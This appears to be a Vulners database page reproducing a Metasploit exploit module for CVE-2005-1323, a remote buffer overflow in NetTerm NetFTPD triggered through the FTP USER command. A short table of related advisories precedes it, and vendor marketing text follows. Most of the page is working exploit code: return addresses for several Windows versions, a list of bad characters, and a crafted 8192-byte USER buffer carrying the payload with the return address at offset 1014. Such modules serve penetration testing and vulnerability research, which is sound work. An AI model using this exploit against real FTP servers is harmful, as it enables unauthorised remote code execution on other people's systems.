| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| NetTerm FTP Server USER Command Remote Overflow | 26 Apr 200500:00 | – | nessus | |
| Intersoft NetTerm Netftpd USER Command Remote Overflow | 26 Apr 200500:00 | – | nessus | |
| CVE-2005-1323 | 5 Oct 201000:00 | – | circl | |
| CVE-2005-1323 | 27 Apr 200504:00 | – | cve | |
| CVE-2005-1323 | 27 Apr 200504:00 | – | cvelist | |
| NetTerm NetFTPD - 'USER' Remote Buffer Overflow (Metasploit) | 5 Oct 201000:00 | – | exploitdb | |
| KLA10272 ACE vulnerability in NetTerm | 2 May 200500:00 | – | kaspersky | |
| CVE-2005-1323 | 2 May 200504:00 | – | nvd | |
| NetTerm NetFTPD USER Buffer Overflow | 26 Nov 200900:00 | – | packetstorm |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'NetTerm NetFTPD USER Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in the NetTerm NetFTPD
application. This package is part of the NetTerm package.
This module uses the USER command to trigger the overflow.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2005-1323'],
[ 'OSVDB', '15865'],
[ 'URL', 'https://seclists.org/lists/fulldisclosure/2005/Apr/0578.html'],
[ 'BID', '13396'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x20\x0d",
'StackAdjustment' => -3500,
},
'Platform' => [ 'win' ],
'Targets' =>
[
[
'NetTerm NetFTPD Universal', # Tested OK - hdm 11/24/2005
{
'Ret' => 0x0040df98, # netftpd.exe (multiple versions)
},
],
[
'Windows 2000 English',
{
'Ret' => 0x75022ac4, # ws2help.dll
},
],
[
'Windows XP English SP0/SP1',
{
'Ret' => 0x71aa32ad, # ws2help.dll
},
],
[
'Windows 2003 English',
{
'Ret' => 0x7ffc0638, # peb magic :-)
},
],
[
'Windows NT 4.0 SP4/SP5/SP6',
{
'Ret' => 0x77681799, # ws2help.dll
},
],
],
'DisclosureDate' => '2005-04-26',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner =~ /NetTerm FTP server/)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
connect
print_status("Trying target #{target.name}...")
# U push ebp
# S push ebx
# E inc ebp
# R push edx
# \x20\xC0 and al, al
buf = rand_text_english(8192, payload_badchars)
buf[0, 1] = "\xc0"
buf[1, payload.encoded.length] = payload.encoded
buf[1014, 4] = [ target.ret ].pack('V')
send_cmd( ["USER #{buf}"] )
send_cmd( ['HELP'] )
handler
disconnect
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation